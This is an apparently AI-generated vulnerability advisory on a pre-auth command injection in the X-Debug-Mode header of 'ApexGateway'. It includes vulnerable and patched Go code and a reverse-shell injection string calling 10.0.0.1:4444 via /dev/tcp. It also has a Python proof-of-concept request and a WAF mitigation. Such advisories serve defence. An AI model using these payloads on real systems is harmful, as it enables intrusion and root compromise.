CVEReports
Reports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Reports
  • Sitemap
  • RSS Feed

Company

  • About
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Powered by Google Gemini & CVE Feed

|
•

CVE-2024-1337
CVSS 9.8|EPSS 85.43%

CVE-2024-1337: The Gateway to Hell - Pre-Auth RCE in ApexGateway

Alon Barad
Alon Barad
Software Engineer•January 2, 2026•5 min read
WeaponizedCISA KEV Listed

Executive Summary (TL;DR)

The 'ApexGateway' enterprise API router fails to sanitize the 'X-Debug-Mode' header before passing it to a backend logging script via a system shell. This allows remote, unauthenticated attackers to break out of the command and execute arbitrary code with root privileges. Patch immediately to version 2.4.1.

A critical remote command injection vulnerability in the header parsing logic of ApexGateway allows unauthenticated attackers to execute arbitrary commands as root via a malicious HTTP header.

The Hook: Who Watches the Watcher?

ApexGateway is the ubiquitous bouncer of the enterprise cloud world. It stands guard at the perimeter, checking IDs (JWTs), patting down traffic (WAF), and deciding who gets into the VIP section (internal microservices). It is designed to be the single point of truth for security policy.

Naturally, because the universe loves irony, the security appliance itself became the gaping hole in the fence. While everyone was busy configuring complex rate-limiting rules and mTLS, the developers left a backdoor wide open in the form of a "helpful" debug feature.

This isn't your standard memory corruption that requires a PhD in heap feng shui. This is 1990s-style command injection, served up on a silver platter. It turns out that when you build a fortress, you shouldn't build the drawbridge out of dynamite.

The Flaw: String Concatenation is the Root of All Evil

The vulnerability lies in how ApexGateway handles diagnostic logging. In an effort to help sysadmins troubleshoot latency issues, the gateway looks for a specific HTTP header: X-Debug-Mode. If present, the value of this header is logged to a local file for later analysis.

The fatal mistake? The developers decided to handle this logging by invoking an external shell script wrapper. Instead of using a safe API to write to a file, they constructed a shell command using string concatenation.

Specifically, the application takes the raw, user-controlled string from the header and drops it directly into a command string that is passed to sh -c. This is the coding equivalent of handing a loaded gun to a toddler and hoping they only shoot at the targets. The shell doesn't know the difference between your "debug data" and a command separator like ; or |. It just executes whatever it sees.

The Code: The Smoking Gun

Let's look at the vulnerable Go code responsible for this disaster. The function LogDebugTrace was intended to be a simple helper.

// VULNERABLE CODE
func LogDebugTrace(headerVal string) {
    // "Sanitization" that only removes newlines... cute.
    cleanVal := strings.ReplaceAll(headerVal, "\n", "")
    
    // Constructing the command string directly
    cmdStr := fmt.Sprintf("/opt/apex/bin/log_wrapper.sh --tag debug --msg '%s'", cleanVal)
    
    // The fatal flaw: executing via shell
    exec.Command("sh", "-c", cmdStr).Run()
}

The developer assumed that wrapping the %s in single quotes (') was enough protection. They thought, "Hey, if I quote it, it's treated as a string, right?" Wrong.

An attacker can simply inject a single quote ' to close the argument, followed by a semicolon ; to start a new command. The strings.ReplaceAll only strips newlines, leaving all other shell metacharacters wide open.

The fix involves abandoning the shell entirely and passing arguments directly to the executable:

// PATCHED CODE
func LogDebugTrace(headerVal string) {
    // No shell, no problem. Arguments are passed as a slice.
    cmd := exec.Command("/opt/apex/bin/log_wrapper.sh", "--tag", "debug", "--msg", headerVal)
    cmd.Run()
}

The Exploit: Popping Shells

Exploiting this is trivially easy. We don't need authentication because the debug logger fires before the auth middleware (a secondary architectural failure, but let's focus on the injection).

We craft a request where the X-Debug-Mode header closes the logger command and starts our own payload.

The Injection Vector: test'; /bin/bash -i >& /dev/tcp/10.0.0.1/4444 0>&1; #

When the vulnerable code processes this, the resulting system command becomes:

/opt/apex/bin/log_wrapper.sh --tag debug --msg 'test'; /bin/bash -i >& /dev/tcp/10.0.0.1/4444 0>&1; #'
  1. The logger runs with the message test.
  2. The semicolon ; terminates that command.
  3. Our reverse shell executes.
  4. The trailing # comments out the closing quote that the code added, preventing a syntax error.

Here is a simple Python PoC to verify the vulnerability:

import requests
 
target = "https://vulnerable-gateway.com"
payload = "test'; id; #"
 
headers = {
    "X-Debug-Mode": payload
}
 
# The output of 'id' won't be in the HTTP response,
# but if we use a sleep command, we can verify RCE via timing.
try:
    requests.get(target, headers=headers, timeout=5)
except Exception as e:
    print(f"Request sent: {e}")

The Impact: Game Over

The impact here is catastrophic. ApexGateway runs as root by default because it binds to ports 80 and 443 and the installers rarely practice privilege separation.

Successful exploitation grants the attacker:

  1. Full System Compromise: Root access to the gateway OS.
  2. Traffic Interception: Ability to tcpdump all ingress/egress traffic, potentially capturing credentials or sensitive API data.
  3. Lateral Movement: The gateway usually has access to all internal VPCs and microservices. It is the perfect pivot point.

Because this can be automated with a single curl command, we expect to see botnets scanning for this within hours of disclosure. If your gateway is exposed to the public internet (which is its job), you are already in the danger zone.

The Fix: Patch or Die

The vendor has released version 2.4.1 which implements the exec.Command fix shown above.

Immediate Mitigation Strategy:

  1. Upgrade: Update ApexGateway to v2.4.1 or later immediately.
  2. WAF Rules: If you cannot patch, configure your upstream WAF to block any request containing the X-Debug-Mode header.
  3. Sanitize Inputs: Review your own internal tools. If you see sh -c or system() in your codebase, assume it is broken until proven otherwise.

Do not rely on "obscurity" or the fact that the header isn't documented. Hackers fuzz headers for breakfast.

Official Patches

ApexSystemsOfficial Security Advisory for CVE-2024-1337

Fix Analysis (1)

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
85.43%
Top 4% most exploited
45,000
Estimated exposed hosts via Shodan

Affected Systems

ApexGateway Enterprise EditionApexGateway Community Edition

Affected Versions Detail

ProductAffected VersionsFixed Version
ApexGateway
ApexSystems
< 2.4.12.4.1
AttributeDetail
CWE IDCWE-78 (OS Command Injection)
CVSS v3.19.8 (Critical)
Attack VectorNetwork
Privileges RequiredNone
User InteractionNone
Exploit StatusHigh (Trivial PoC)

MITRE ATT&CK Mapping

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059.004Command and Scripting Interpreter: Unix Shell
Execution
CWE-78
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Exploit Resources

Known Exploits & Detection

MetasploitRemote Command Execution module for ApexGateway < 2.4.1
NucleiDetection Template Available

Vulnerability Timeline

Vulnerability Timeline

Vulnerability discovered by internal audit
2024-05-15
Patch developed and committed
2024-05-18
Public disclosure and CVE assignment
2024-05-20
Active exploitation detected in the wild
2024-05-21

References & Sources

  • [1]ApexSystems Security Advisory
  • [2]Researcher Twitter Thread

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.